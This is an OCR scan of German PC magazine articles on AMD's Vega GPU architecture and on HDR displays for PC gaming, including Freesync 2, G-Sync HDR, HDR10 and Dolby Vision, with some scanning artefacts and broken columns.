zember auf einer AMD-Technikver- 
anstaltung zu Gast und gibt im Fol- 
genden einen ersten Ausblick auf 
die Architektur hinter Vega. Dabei 
geht es vor allem um den Aufbau 
der GPU, die von AMD als Graphics 
Core Next (GCN) Gen 5 bezeichnet 
wird. Viele Teile innerhalb der GPU 
werden gegenüber Polaris (GCN 
Gen 4) umgebaut, um eine höhe- 
re Performance bei gleichzeitig 
höherer Effizienz zu erreichen. Im 
Artikel finden Sie aber auch einige 
Hinweise zur Leistung von Vega. 


Vega: Chipgröße 

Beginnen wollen wir mit der 
Chipgröße von Vega. Neben dem 
Grafikchip sitzen auf einem Silizi- 
um-Interposer zwei HBM2-Stacks. 
Die eigentliche Vega-GPU ist da- 
bei ein gutes Stück größer als vier 
dieser HBM2-Stacks. Ein solcher 
von SK Hynix gefertigter Stack 
misst 11,87 x 7,75 mm, also fast 92 
mm?. Vier Stück kommen auf rund 
368 mm. In Summe ist Vega 10, so 
heißt die High-End-Variante, etwas 
kleiner als 500 mm?. Um einen 
Grófsenvergleich zu anderen GPUs 
zu schaffen: Vega 10 fällt damit et- 
was grófser aus als Nvidias GP102, 
der 471 mm? misst und in teilde- 
aktivierter Form bisher nur auf 


der Titan X Pascal sitzt. Polaris 10 
(RX 480) ist dagegen nur 232 mm? 
groß, der GP104 (GTX 1070 bzw. 
GTX 1080) 314 mm?. 


Vega: 10 ist High End 

Vega ist die fünfte Generation von 
AMDs Grafikarchitektur GCN und 
soll nach Polaris auch wieder den 
High-End-Markt bedienen. So weit, 
so gut. Man sollte aber bei den fol- 
genden Infos beachten, dass bisher 
noch keine konkreten Produkte für 
Spieler angekündigt wurden. Zu- 
dem ist der Chiphersteller bisher 
nur selten auf konkrete GPU-Spe- 
zifikationen eingegangen. Selbst 
wenn, war meistens nur die Rede 
von „Vega“ - nur manchmal ist den 
Ingenieuren der Name „Vega 10“ 
herausgerutscht. Sofern wir eine 
konkrete GPU meinen, verwenden 
wir im Folgenden also den Namen 
„Vega 10“. 


Zum ersten Mal seit der Einführung 
des Graphics Core Next im Jahre 
2011 nimmt AMD größere Ände- 
rungen an den Compute Units vor. 
Die Kanadier nennen das Ganze 
deshalb jetzt Next-Gen Compute 
Units oder kurz NCUs. Eine NCU 
kann 512 (8 Bit), 256 (16 Bit) oder 
128 (32 Bit) Operationen in einem 
4:2:1-Verhältnis berechnen. Mög- 
lich wäre, dass AMD die Shader- 
zahl in einer Compute Unit von 
64 Shadern auf 128 in einer NCU 
aufstockt. Die FP64-Leistung für 
doppelte Genauigkeit sei „Konfigu- 
rierbar“ - eine mögliche doppelte 
Rate wurde nicht bestätigt. Darü- 
ber hinaus sollen die NCUs für ,si- 
gnifikant“ höhere Taktraten ausge- 
legt worden sein und gleichzeitig 
eine insgesamt hóhere Leistung 
pro Takt (IPC) erreichen. Auch die 
Instruction Buffer innerhalb der 
NCUs werden größer. 


Vega: Stärkeres Front-End 

Das Front-End ist ein altes Thema 
bei AMD. Viele GPUs hatten in 
den letzten Jahren ein verhältnis- 
mäßig schwaches Front-End, das 
seit der Einführung von GCN erst 
mit Tonga (R9 285, R9 380[X]) als 
Vierfach-Ausführung für 32 Com- 
pute Units als stark angesehen 
werden konnte. Das gleiche Front- 
End wurde jedoch für die deutlich 
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Vega-GPU: Hier sieht man auf einen 
Blick die Funktionseinheiten und 
auch die Verbesserungen wie den 
High-Bandwidth Cache Controller. 


Geometry Pipeline =... 


Compute Engine 


Pixel Engine; Ж. a 


{ 


größere Fiji-GPU (R9 Fury [X], R9 
Nano) 
sodass die 64 Compute Units nur 
selten optimal ausgelastet werden 
kónnen - hohe Auflósungen oder 
Supersampling helfen dabei. 


unverändert beibehalten, 


Bei Vega spricht AMD nun von ei- 
nem mindestens doppelt so starken 
Front-End. In den Fußnoten gibt 
AMD an, dass Vega designt wurde, 
bis zu 11 Polygone pro Takt mit vier 
Geometry Engines zu erzeugen", 
und deutet damit an, dass Vega 10 
weiterhin vier Shader Engines zur 
Organisation nutzt. Gegenüber Fiji 
entsprechen 11 Polygone pro Takt 
einer Steigerung um den Faktor 2,6. 
Ein effektiv gesteigerter Durchsatz 
kónnte durch das Verwerfen von 
Dreiecken erreicht werden, die in 
der finalen Szene gar nicht sichtbar 
wären - der kachelbasierte Ansatz 
würde zumindest die entsprechen- 
den Voraussetzungen bieten. 


Im Wesentlichen kann Vega jetzt 
mit Primitive Shadern umgehen, 
statt die Render-Pipeline in Vertex- 
und Geometry Shader aufzuteilen. 
Diese Primitive Shader sollen über 
API-Erweiterungen nutzbar sein, 
schnellere Calls ermóglichen und 
Entwicklern mehr Kontrolle geben. 
Darüber hinaus bekommt Vega den 
„intelligenten“ Workgroup Distri- 
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butor, der schon in der Р$4 Dro 
zum Einsatz kommt und die NCUs 
besser füttern soll. 


Vega: Überarbeitetes 
Back-End 

Im Falle des Back-Ends setzt AMD 
auf eine nach eigenen Angaben 
komplett neue Next Generation 
Pixel Engine mit einem Draw 
Stream Binning Rasterizer, der 
beim Vorsortieren von Dreiecken 
zum Einsatz kommt und sich ähn- 
lich wie ein kachelbasierter Raste- 
rizer verhalten soll. An dieser Stelle 
haperte es bislang an den letzten 
Direct-3D-12.1-Features, 
einer Komplettüberarbeitung jetzt 
nachgereicht werden sollten. Die 
Pixel Engine kann jetzt, ohne den 


die mit 


Umweg über den Speichercont- 
roller zu gehen, auf den L2-Cache 
zugreifen, was vor allem in Spielen, 
die Deferred Shading nutzen, Vor- 
teile bringen soll. 


Vega: High-Bandwidth 
Cache Controller 

Vega sieht einen High-Bandwidth 
Cache Controller (HBCC) vor, der 
in der GPU sitzt (On-Chip) und auf 
externen Speicher auf einem soge- 
nannten Interposer zugreift (On- 
Package). Das kann HBM2-Speicher 
sein, aber das System ist nicht dar- 
auf limitiert. AMD könnte theore- 


Display ХОМА PCle® 


High-Bandwidth 
Cache 


High Bandwidth 
-7* Cache Controller 
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Vega kann jetzt auch mit sogenannten Primitive Shadern umgehen, anstatt die 
Render-Pipeline in Vertex und Geometry Shader aufzuteilen. 


AMDA 


RADEON 


Die Next-Generation Compute Units sind unter anderem auf einen höheren Takt hin op- 
timiert. Messlatte: Polaris rechnet als RX 480 mit 1,27 GHz, eine Fury X mit 1,05 GHz. 


tisch auch den auf niedrige Laten- 
zen optimierten Hybrid Memory 
Cube (HMO) nutzen, welchen Intel 
bei Knights Landing einsetzt. Laut 
AMD ist der virtuelle Adressbe- 
reich bis zu 512 Terabyte groß. Der 
HBCC kann den kompletten On- 


Package-Speicher oder auch nur ei- 
nen Teil davon als L3-Cache nutzen. 
Das Ganze sei variabel einstellbar 
und mit verschiedenen Modi, zum 
Beispiel inklusiv oder exklusiv, 
nutzbar. Interessant könnte die 


Idee bei einem Konstrukt wie der 
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Profi-Radeon Pro SSG werden, wo 
die GPU auf eine SSD als Grafikspei- 
cher zugreifen kann. 


Die doppelte Bandbreite pro Pin 
deutet darauf hin, dass AMD den 
HBM2 mit den vollen vorgesehe- 
nen 1.000 MHz (2 Gbps) laufen 
lässt. AMD gibt an, die RAM-Nut- 
zung insgesamt verbessert zu ha- 
ben. Bisher belege man zwei- bis 
dreimal mehr Speicher, als von ei- 
nem Spiel tatsächlich genutzt wür- 
de. Für die Verbesserungen bei der 
Ausnutzung des RAMs sei der Draw 
Stream Binning Rasterizer mit dem 
Tiled-Based-Ansatz hauptverant- 
wortlich. 


Vega: Shader-Compiler 

und Infinity Fabric 

Mit Vega möchte AMD einen neu- 
en Shader-Compiler einführen, der 
die Effizienz deutlich verbessern 
könnte; der aktuelle Compiler gilt 
als suboptimal. Zudem werden die 
verschiedenen GPU-Teile - wie bei 
den Ryzen-CPUs - über den soge- 
nannten Infinity Fabric verbunden, 
der bei Vega 10 ein „Mesh“ darstel- 
len soll. Eine APU mit Zen-Kernen 


und Vega-GPU sollte sich so relativ 


ef 


unkompliziert realisieren lassen - 
aber das ist Zukunftsmusik. 


Vega: Und die Leistung? 
AMD betonte, dass Vega auf „signi- 
бкап“ höhere Taktraten als Polaris 
ausgelegt sei. Zum Vergleich: Pola- 
ris 10 arbeitet auf RX-480-Referenz- 
karten mit bis zu 1.266 MHz. 1.500 
MHz und mehr sollten bei Vega 
möglich sein. Ein Rechenbeispiel: 
Die 12,5 FP32-TFLOPS der Radeon 
Instinct MI25 (Vega 10 für den Ser- 
verbereich) würde AMD bei vermu- 
teten 4.096 Shadern mit etwa 1.515 
MHz erreichen, sofern sich die 
Shaderzahl von ,Greenland* (ehe- 
maliger Codename) bewahrheitet. 
Desktop-Grafikkarten takten er- 
fahrungsgemäß noch höher als 
Profikarten. Zudem hat AMD ange- 
deutet, dass Vega 10 wie Fiji in vier 
Shader Engines organisiert ist. Bei 
mehr Compute Units könnte der 
Platz eng werden. 


Auch beim Speicher kann man 
bereits einige gesicherte Informa- 
tionen auswerten. Mittlerweile 
ist klar, dass Vega 10 zwei HBM2- 
Stacks an einem 2.048 Bit breiten 
Speicher-Interface nutzt. Die dop- 


Wir konnten die mittlerweile berühmte Doom-Vulkan-Demo ansehen, in der ein Vega- 
Entwicklerboard hohe Bildraten in Ultra-HD-Auflösung erreichte. 


Ein Blick auf ein Vega-Entwicklerboard mit USB-Anschluss — wichtige Teile, unter 
anderem die Stromversorgung, sind unkenntlich gemacht. 
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pelte Bandbreite pro Pin spricht 
für die „vollen“ 1.000 MHz (2 Gbps) 
Takt, womit eine Übertragungsrate 
von 512 GB/s erreicht würde - wie 
bei Fiji. Je nach Stack-Kapazität 
kann AMD Vega 10 mit 8, 16 oder 
32 GiByte HBM2 paaren (Letzteres 
aber ziemlich sicher nicht für nor- 
male Desktop-Grafikkarten) - das 
hängt wohl vor allem davon ab, was 
SK-Hynix und Samsung bis zum 
Verkaufsstart produzieren werden 
(dazu später). Während AMD im 
Serverbereich die Radeon Instinct 
MI25 mit Vega-GPU und 16 GiByte 
High-Bandwidth Memory der zwei- 
ten Generation (HBM2) anbietet, 
ist die Wahrscheinlichkeit sehr- 
hoch, dass der Desktop-Markt min- 
destens eine Version mit 8 GiByte 
HBM2 erhalten wird. 


Eine solche Konfiguration steckte 
nämlich bereits in einem Demo- 
Rechner, den wir im Dezember 
2016 in Augenschein 
konnten, 
Doom lief. In den erweiterten Sta- 
tistiken des Grafikmenüs fand sich 


nehmen 
auf dem der Shooter 


der maximal zur Verfügung stehen- 
de Grafikspeicher, der mit 8.192 Mi- 
Byte ausgegeben wurde. Doom lief 
auf dem Vega-10-System in Ultra HD 
(3.840 x 2.160 Pixel) und Ultra-Gra- 
fikeinstellungen (im Menü nachge- 
prüft; ohne Nightmare-Schatten). 
Je nach Szene wurden meistens 60 
bis 80 Fps gerendert, selten wur- 
den 50er-Werte erreicht. Eine auf 
gut 1.900 MHz übertaktete Geforce 
GTX 1080 ist in der Beispielszene 
etwa zehn Prozent langsamer. Man 
sollte aber dabei beachten, dass 
noch kein Vega-optimierter Treiber 
zum Einsatz kam, sondern einfach 
ein Fiji-Treiber mit etwas zusätzli- 
cher Debugging-Arbeit. Außerdem 
sollte jegliche Sicht auf die Grafik- 
karte verwehrt bleiben, sodass vor- 
ne, hinten, seitlich und oben alle 
Lüfterplätze abgeklebt 
Frischluft kann, wenn überhaupt, 
nur über die Unterseite ins Gehäu- 


wurden. 


se gelangt sein. Die Grafikkarte war 
dadurch merklich laut und schau- 
felte ordentlich heiße Abluft nach 
hinten heraus. Rückschlüsse auf 
die Qualität der eingesetzten Kühl- 
lösung lassen sich dadurch nicht 
ziehen. Erst auf der CES war es dem 
Youtuber Linus Tech Tips möglich, 
einen mehr oder weniger offenen 
Blick auf ein Vega-Entwicklerboard 
mitsamt PCB zu werfen. Die inter- 
essanten Teile, unter anderem die 


Stromversorgung, waren jedoch 
abgeklebt. Den USB-3.0-Port an der 
Grafikkarte hingegen werden die 
Retailmodelle allerdings nicht er- 
halten. Diese verbaut AMD nur bei 
seinen Prototypen, damit die Inge- 
nieure alle Signale an der Hardware 
messen können. 


Bedenken sollte man aber auch, 
dass Doom mit Vulkan bisher 
ein Best-Case-Szenario für AMDs 
GCN-Architektur darstellt. Raja 
Koduri, Chef der Radeon Techno- 
logy Group, zeigte sich jedenfalls 
zuversichtlich, dass AMD die hohe 
Performance auch unter Open GL 
erreichen würde. 


Vega: Markteinführung 

Die spannende Frage bleibt: Wann 
werden die ersten Vega-Grafikkar- 
ten erhältlich sein? Möglicherwei- 
se spielt hier der verwendete Spei- 
cher eine große Rolle, zumindest 
im Fall von HBM2. Zur Erinnerung: 
Bei Vega-Karten mit 8 GiByte kom- 
men je zwei 4-Hi-Stacks (vier Spei- 
cherschichten) mit je 4 GiByte zum 
Einsatz. Eine mögliche Erklärung, 
warum AMD den Consumer-Vega 
bisher nur mit 8 GiByte gezeigt hat, 
könnte bei der Verfügbarkeit von 8 
GiByte großen HBM2-Stacks (acht 
Speicherlagen, 8-Hi) liegen - sol- 
che scheinen momentan nämlich 
praktisch nicht erhältlich zu sein. 
Im Falle des RAM-Herstellers SK-Hy- 
nix sieht es sogar bei den kleinen 
4-Hi-Modulen mit 4 GiByte schlecht 
aus. Wurde im Juli 2016 noch eine 
Verfügbarkeit ab dem dritten Quar- 
tal in Aussicht gestellt, hieß es zum 
Jahresende 2016 hin lediglich, dass 
die Verfügbarkeit noch offen sei. 
Im aktuellen Q1/2017-Katalog stellt 
SK-Hynix eine Verfügbarkeit im 
Laufe des aktuellen Quartals in Aus- 
sicht - geführt wird allerdings nur 
noch eine Variante mit 1,6 Gbps 
(800 MHz), die statt 256 GB/s pro 
Stack nur noch knapp 205 GB/s 
erreicht. Samsung sprach zuletzt 
Anfang 2016 über die anlaufende 
HBM2-Produktion mit 4-Hi-4-GiB- 
Stacks. Die Samsung-Produktkatalo- 
ge listen aber noch keinen HBM(2). 


Da die ersten funktionierenden 
Vega-Samples von Mitte November 
2016 stammen, wird die Marktein- 
führung daher gewiss noch ein 
paar Monate auf sich warten las- 
sen. Zuletzt war von der Computex 
Ende Mai die Rede. (tb/mm) 
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Thermaltake-Komponenten sind erháltlich bei: 
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НОВ: In Farbe und bunt 


2017 soll das HDR-Jahr werden, selbst für den PC. Dafür sprechen die jüngsten Ankündigungen zu 


„Freesync 2” und „G-Sync HDR”. Display-Revolution oder alter Wein in neuen Farbkanälen? 


ünktlich zum Jahreswechsel 
Po AMD die Display-Tech- 
nologie Freesync 2 vor. Was wie 
ein Nachfolger des Standards der 
dynamischen ` Bildwiederholrate 
klingt, ist vielmehr eine Ergánzung 
der Technik um die HDR-Kompo- 
nente. Der GPU-Marktführer Nvi- 
dia konterte prompt nur wenige 
Tage später auf der CES in Las Ve- 
gas mit ,G-Sync HDR”. Obendrein 
soll damit erstmals eine UHD- 
Auflósung bis 1á4 Hz moglich 
werden. Bislang mussten Monitor- 
Enthusiasten einen Entweder- 
Oder-Kompromiss eingehen, was 
Auflósung und Bildwiederholrate 
angeht. 
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Aber Moment, ist denn HDR nicht 
schon seit über einem Jahrzehnt in 
der 3D-Grafik von PC-Spielen ver- 
treten? Ein klares Jein. Was aber da- 
mals nur simuliert wurde, nàmlich 
ein grófserer Kontrastumfang, wird 


Video auf Heft-D 


Auf der Heft-DVD finden 
Sie einen Videoclip mit 
Splitscreen des Intros von 
Shadow Warrior 2. Es ist 
aktuell der einzige PC-Titel, 
der eine HDR-Ausgabe bietet. Da bislang kein 
HDR-Monitor auf dem Markt ist, haben wir 
einen HDR-TV angeschlossen. 


jetzt mit weitaus mehr Farben und 
helleren Displays quasi echt. Schon 
2004 ist Far Cry mit einem Patch 
in neuer Farbenpracht erscheinen. 
Mittels HDR Rendering sollten 
recht dunkle und helle Bereiche 


mehr Farbabstufungen erhalten, 
um so detailreicher zu erscheinen. 
Ebenso bei „Lost Coast“, dem Zu- 
satzlevel für Halflife 2. Wenn man 
etwa in den Himmel blickte, wan- 
delte sich ein blendend weißer 
Fleck in ein klar erkennbares, de- 
tailreiches Wolkenzelt. 


Der Effekt erinnert an die Pupille 
des menschlichen Auges, die sich 
im plötzlichen hellen Licht zuzieht. 
Dieses Pseudo-HDR ist mittlerwei- 
le weit verbreitet, ohne dass es 
extra erwähnt oder gar beworben 
wird. Derselbe Effekt ist etwa in 
neueren Versionen von Assassin's 
Creed auszumachen. Wer dort von 
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HDR10: Der offene Standard 


Wenn von HDR die Rede ist, geht es in der Regel um den HDR10-Stan- 
dard. Aktuelle HDR-Fernseher entsprechen dem HDR10-Media-Profile. 


Im August 2015 hat der Wirtschaftsverband Consumer Technology Association (da- 
mals noch Consumer Electronics Association) den Industriestandard für HDR-kompa- 
tible Videoausgabe definiert. Wie der Name schon sagt, handelt es sich um einen auf 


0 Bit erweiterten Farbumfang im BT.2020-Farbraum bei einer 4:2:0-Farbunterabta- 
stung. Statt „nur“ 16 Millionen Farben bei 8 Bit, sind mit 10 Bit nun bis zu über eine 
Milliarde Farben darstellbar. HDR10 erfordert HDMI 2.0a oder Displayport1.4. 


0 Bit pro Farbkanal sind an sich nichts Neues in der Monitortechnik, waren aber 
bislang teuren, professionellen Panels für die Bildbearbeitung vorbehalten. Für 

eine korrekte Darstellung aller Farben unterstützt HDR10 eine Helligkei 
4.000 cd/m2 und übertrágt die sogenannten Metadaten statisch. Das bedeutet, 


bis zu 


dass die Farbdarstellung je nach Helligkeit und Einstellung des Geráts unterschied- 
lich sein kann. Das ist einer der beiden wesentlichen Unterschiede — neben 12 Bit 
Farbtiefe — zum technisch besseren aber proprietären Konkurrenzstandard Dolby 


Vision. Dieser sendet dynamische 
Metadaten, sodass die Farbausgabe 
an Maximalhelligkeit bzw. Ausga- 
beleistung des jeweiligen Displays 
angepasst wird. 


Auch wenn der Format-Krieg sicherlich 
noch nicht vorbei ist, hat sich HDR10 
aktuell als Quasi-Standard etabliert. 
Viele Hersteller bevorzugen die lizenz- 
freie Option. 


der Straße in ein Gebäude blickt, 
sieht nur eine finstere Stube. Erst, 
wenn der Held die Türschwelle 
überschreitet, werden die dunkeln 
Details heller und die Welt draußen 
strahlend hell. Was hier stark über- 
zeichnet wirkt, soll den höheren re- 
ellen Kontrastumfang simulieren. 


Das neue" HDR 

Nachdem HDR schon lange aus 
der Fotografie bekannt ist und nun 
der Begriff auch softwareseitig für 
PC-Spiele besetzt scheint, tauchte 
er als neues heißes Feature von 
Fernsehern auf. Herkömmliche 
LED-Displays - sowohl von Mo- 
nitoren als auch von Fernsehern 
- bieten in der Standard Dynamic 
Range (SDR) 8 Bit pro Farbkanal 
(24 Bit „True Color” bei Displays). 
Das heißt, dass das rote, grüne 
und blaue Subpixel jeweils 2°, also 
256 Farbabstufungen vornehmen 
kann. Dadurch ergeben sich insge- 
samt 2563 Zustände, also über 16,8 
Mio. Farben. 


HDR-Panels bieten mindestens 10 
Bit, was 1.024 Abstufungen eines 
Kanals und über eine Milliarde 
Farben eines Subpixel-Trios ent- 
spricht - also 64-mal mehr als SDR. 
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Dynamic Range 


Damit die Farbenfülle auch darge- 
stellt werden kann, müssen die Dis- 
plays deutlich heller werden, also 
eine höhere Leuchtdichte aufwei- 
sen. Für eine HDR-Farbtiefe wer- 
den mindestens 500 cd/m?, idea- 
lerweise aber 1.000 cd/m? (auch 
„Nits“ genannt) und ein Kontrast- 
verhältnis aus 10.000:1 benötigt. 
Zum Vergleich: IPS-Displays aktuel- 
ler PC-Monitore bieten eine maxi- 
male Helligkeit von ca. 300 cd/m? 
mit einem Kontrastverháltnis über 
1000:1. Um vom Bildschirm nicht 
geblendet zu werden, beträgt die 
Helligkeit in der Praxis selten mehr 
als 250 cd/m?. 


Wo bleibt HDR für PC? 

Viele aktuelle TV-Geräte haben 
mittlerweile HDR im Datenblatt 
stehen und auch aktuelle Konsolen, 
wie die PS4 Pro und Xbox One s, 
unterstützen den hohen dynami- 
schen Kontrastumfang. Mehrere 
Konsolenspiele sind bereits in HDR 
verfügbar. Was den PC angeht, so 
wirkt die Entwicklung noch recht 
stiefmütterlich: Zwar unterstützen 
aktuelle Grafikkarten der Nvidia- 
Pascal- und AMD-Polaris-Generati- 
on die HDR-Ausgabe, mit Shadow 
Warrior 2 gibt es aber aktuell nur 


Dolby Vision: Besser, aber selten 


Mit einer Farbtiefe von 12 Bit und dynamischen Metadaten ist der pro- 
prietäre Standard der technisch bessere, kostet aber eine Lizenz. 


Bereits 2014 auf der CES vorgestellt, soll die HDR-Wiedergabe per Dolby 
Vision mit 12 Bit überzeugen, was über 64 Milliarden Farben entspricht. Aber 
ob das wirklich so viel besser ist als , nur" 10 Bit? Dolby argumentiert mit 
wahrnehmbaren Farbabweichungen, die erst ab 12 Bit nicht mehr gegeben 
sein sollen. Erst dann würden etwa Konturen in Farbverläufen vollständig 


verschwinden. 


Der Dolby-Standard arbeitet ab einer 4K-Auflósung und mit einer Bildschirmhel- 
ligkeit bis zu 10.000 cd/m? — weitaus über dem aktuell Machbaren. Unabhängig 
von maximaler Helligkeit oder Farbraum soll das Bild auf jedem Display gleich 
aussehen. Dafür sorgt der „Display Manager" im Endgerät, der das Signal 
individuell aufbereitet. Dabei handelt es sich um einen Chip — es ist daher nicht 
möglich, Dolby Vision etwa über ein Software-Update hinterher nachzurüsten, wie 
dies theoretisch bei HDR10 der Fall ist. Das gilt natürlich auch für PC-Hardware, 


die bislang noch nicht mit Dolby Vision 
in Berührung kam. Außerdem müssten 
dann etwa auch die Spiele-Engine den 
Standard unterstützen. 


Dolby Vision wird bislang nur von weni- 
gen High-End-TV-Geráten unterstützt, 
die zusátzlich auch immer HDR10 
bieten. Auch wenn der Standard grund- 
sätzlich kompatibel mit der PC-Welt ist, 
spielt er dort aktuell keine Rolle. 


[I] 


DOLBY 
VISION 


HDR-TVs mit geringem Input Lag 


Modell Größe Panel-Typ Preis Lag 
Samsung UE65KS8000 65" Quantum Dot ca. 2.500 € 20 ms 
Samsung UE55KS8000 55% Quantum Dot ca. 1.500 € 21 ms 
Samsung UE65KS9500 65" Quantum Dot ca. 3.000 € 21 ms 
Samsung UE49KS7000 49" Quantum Dot ca. 1.100 € 22 ms 
Samsung UE55KS7500 55" Quantum Dot ca. 1.400 € 22 ms 
LG OLED65E6V 65" OLED ca. 4.000 € 34 ms 
LG OLED55E6 55" OLED са. 2.700 € 34 ms 
Sony KD-75XD9405 KEN LED LCD ca. 6.500 € 35 ms 
Philips 65PUS7601 65" LED LCD ca. 2.800 € 40 ms 
Quelle: www.hdtvtest.co.uk/news/input-lag 


ein PC-Spiel, das eine Farbtiefe in 
10 Bit ausnutzt. Weitere Titel sollen 
kommen, etwa Resident Evil 7 ab 
Ende Januar oder Mass Effect And- 
romeda frühestens Ende März. 


Im Dezember letzten Jahres räumte 
außerdem AMD gegenüber Heise 
ein, dass selbst aktuelle Radeon- 
Grafikkarten bei HDR lediglich 
8 Bit verwenden und für Farbver- 
läufe ein Dithering-Verfahren nut- 
zen. Grund dafür sei HDMI 2.0a, 
das zu wenig Bandbreite bietet, um 
ein UHD-Signal mit 10 Bit, 60 Hz 
und YCrBr-4:4:4 über die Leitung 
zu schicken. Displayport 1.4 ist 


breit genug aufgestellt, findet aber 
unter den Fernsehern kaum Ver- 
wendung - dort wird nahezu aus- 
schließlich auf HDMI gesetzt. 


HDR-Monitore 

10-Bit-Panels gibt es zwar schon 
unter den Monitoren für den pro- 
fessionellen Einsatz - 
Bildbearbeitung, jedoch 
der einen HDR-Standard unter- 
stützt. Dell zeigte Anfang 2016 
den ersten OLED-Monitor und 
die ganze PC-Welt hoffte auf eine 
neue Display-Generation mit bril- 
lanten Farben und zugleich nied- 
riger Reaktionszeit. Ohne je einen 


etwa der 
keinen, 
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Bildvergleich: Shadow Warrior 2 mit und ohne HDR 


Wir mussten die Fotos direkt miteinander vergleichen, um bei HDR einen Unterschied zu erkennen. Auch wenn der Effekt nicht unbedingt mit SDR-Kameras festzuhalten ist, war 
das Live-Erlebnis kaum anders als das, was unten zu sehen ist. Wir haben das Spiel mit einer GTX-1070-GPU und dem HDR-fàhigen Panasonic TX-50DXW734 getestet. 


KS 


Mit HDR: Heller und detailreicher Hintergrund 


Angekündigte HDR-Monitore 


Acer Predator (G-Sync HDR) 
Die HDR-Version von G-Sync 
erfordert nicht nur einen Nvi- 
dia-Chip, sondern gleich ein be- 
stimmtes Panel. Das Besondere 
ist nicht nur die UHD-Auflósung 
bei max. 144 Hz, sondern die 
Beleuchtung in 384 Zonen über 
die ganze Flàche, anstatt durch 
lediglich LEDs am Rand. Dadurch 
wird lokales Dimmen und ein 
hoher Kontrast möglich. 


Bild: Nvidia 


LG 32UD99 (HDR10) 

m Frühjahr soll der erste 
HDR-Monitor erscheinen. Ebenso 
wie UHD und 144 Hz unterstützt 
er HDR10 und Freesync. Dabei 
handelt es sich nicht um das an- 
gekündigte Freesync 2. Mit einer 
GTG-Reaktionszeit von 5 ms ist 
das Panel recht träge und mit 
hoher Farbraumabdeckung eher 
für Grafiker gedacht. 
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Bild: Nvidia 


Asus PG27UQ (G-Sync HDR) 
G-Sync HDR ist ans Quan- 
tum-Dot-Panel von AUO gekop- 
pelt, es ist daher das gleiche 
wie im Acer. Auch hier soll eine 
Helligkeit bis zu 1.000 cd/m2 
möglich sein. Dank G-Sync soll 
das Input Lag deutlich niedriger 
als bei HDR-Fernsehern sein. 
Laut Asus soll der Monitor im 
Herbst 2017 erscheinen. 
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Erscheinungstermin genannt zu 
haben, sagte Dell das Erscheinen 
des Modells genau ein Jahr später 
wieder ab, da es Probleme in der 
Blickwinkelstabilität gebe. Andere 
Hersteller gaben offen zu, dass die 
OLED-Technik wegen Problemen 
in der Lebensdauer und im Ein- 
brennen nicht reif für Monitore ist. 
OLED-Displays kommen daher nur 
in Smartphones, Notebooks und 
Fernsehern zum Einsatz. 


Im Dezember letzten Jahres hat LG 
mit dem 320099 das erste Modell 
mit HDRIO und Freesync 2 ange- 
kündigt, jedoch „nur” mit 4K-IPS- 
Panel und einer maximalen Hellig- 
keit über 550 cd/m? - zudem mit 
einem recht langsamen Panel. Dass 
LG auch dieses Jahr nicht auf OLED 
oder Quantum Dot setzten wird, 
ließ der Hersteller schon letztes 
Jahr verlauten. Auf Nachfrage nann- 
te LG einen Preis von 1.099 Euro 
für das Gerát. Der 32-Zoll-Monitor 
soll voraussichtlich im April oder 
Mai auf den Markt kommen. 


Auf der CES Anfang Januar stellte 
Asus den ROG Swift PG27UQ vor, 
der mit 4K-Auflösung, 144 Hz, „G- 
Sync HDR* nach dem Nonplusult- 
ra für Gamer klingt. Entsprechend 
ultra" ist der vorab genannte Preis 
von ca. 2.000 Euro. Er soll frühes- 
tens im dritten Quartal diesen Jah- 
res auf den Markt kommen. Der 
Acer Predator XB272-HDR ist das 
zweite angekündigte Modell mit 


Ohne HDR: Vordergrund nahezu gleich, Hintergrund dunkler 
- - L] À Q KA", 
P 


„G-Synce HDR” und denselben Ei- 
genschaften wie das Asus-Modell. 
Beide Modelle verfügen über das 
gleiche Panel, das Nvidia zusam- 
men mit AU Optronics entwickelte. 


HDR? Aktuell nur per TV 

Wer schon jetzt HDR am PC erle- 
ben möchte, muss also einen Fern- 
seher anschließen. OLED-Displays 
bieten zwar die aktuell beste Qua- 
lität, eignen sich aber eher weni- 
ger für das Gaming im Wohnzim- 
mer - eben wegen der Gefahr des 
Einbrennens, die bei einem Video 
nicht gegeben ist: So manches PC- 
Spiel verfügt über Statusleisten, die 
immer an derselben Stelle sind. Die 
aktuelle Kompromisstechnik nennt 
sich Quantum Dot. Nicht ganz so 
gut, aber auch nicht ganz so teuer 
wie OLED sollen Quantom-Dot- 
Displays eine bessere Darstellung 
als herkömmliche LCD-Panels bie- 
ten. Indem etwa eine blaue anstatt 
weiße LED-Beleuchtung verwen- 
det wird, soll ein satteres Schwarz 
möglich sein. Quantum Dot findet 
auch in manchen Monitor-Model- 
len Verwendung. 


Fernsehgeräte verfügen über eine 
deutlich höhere Eingabeverzö- 
gerung als Monitore, was mit ein 
Grund ist, warum das PC-Gaming 
noch immer hauptsächlich am 
Schreibtisch und nicht im Wohn- 
zimmer stattfindet. Wer aber kei- 
nen Multiplayer-Shooter auf Wett- 
kampfniveau spielt oder ohnehin 
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SDR (Standard Dynamic Range), 8 Bit 


Farbe Kontrast Übertragung 


Erfassung 


Postproduktion HDR-Display Auge 


0.05-100 cd/m? 
HDR (High Dynamic Range), ab 10 Bit 


Farbe Kontrast Erfassung Postproduktion Übertragung HDR-Display Auge 


0.0005-10,000 cd/m? 


Bild:AMD 


HDR etwas überzeichnet dargestellt: Ein hóherer Kontrastumfang und eine feinere Farbabstufung dazwischen sollen ein realistischeres Bild liefern. 


andere Spiele-Genres favorisiert, 
kann mit einigen Millisekunden 
mehr im Spiel durchaus zurecht- 
kommen. Bereits jetzt gibt es TV- 
Geräte, die einen sog. Gaming 
Modus im Menü bieten. Dieser 
verkürzt das Input Lag leicht, in- 
dem auf Nachbearbeitung und 
Bildoptimierung verzichtet wird. 
Jedoch geht das etwas auf Kosten 
der Bildqualität: Es kann dadurch 
eher zu Schlieren oder Unschär- 
fe kommen. Manche TV-Modelle 
erreichen ein derart niedriges Ni- 
veau, das mit so manchem Moni- 
tor mithalten kann. Aber Vorsicht: 
Manche Modelle 
nicht HDR und den Gaming Modus 
gleichzeitig. 


unterstützen 


Die Webseite displaylag.com bie- 
tet eine gut gepflegte Datenbank 
über das Input Lag zahlreicher Mo- 
nitore und TV-Modelle. Unter den 
HDR-fáhigen 4K-Modellen kann 
die KS8000-Serie von Samsung 
hervorstechen, die recht geringe 
Verzögerungen um die 20 Millise- 
kunden aufweisen. Aber auch an- 
dere Hersteller können mit schnel- 
len Displays aufwarten, etwa LG 


mit einigen OLED Modellen. Wer 
die Datenbank der Website etwas 
durchstöbert, wird herausfinden, 
dass es einige noch schnellere Fern- 
seher gibt - jedoch ohne HDR und 
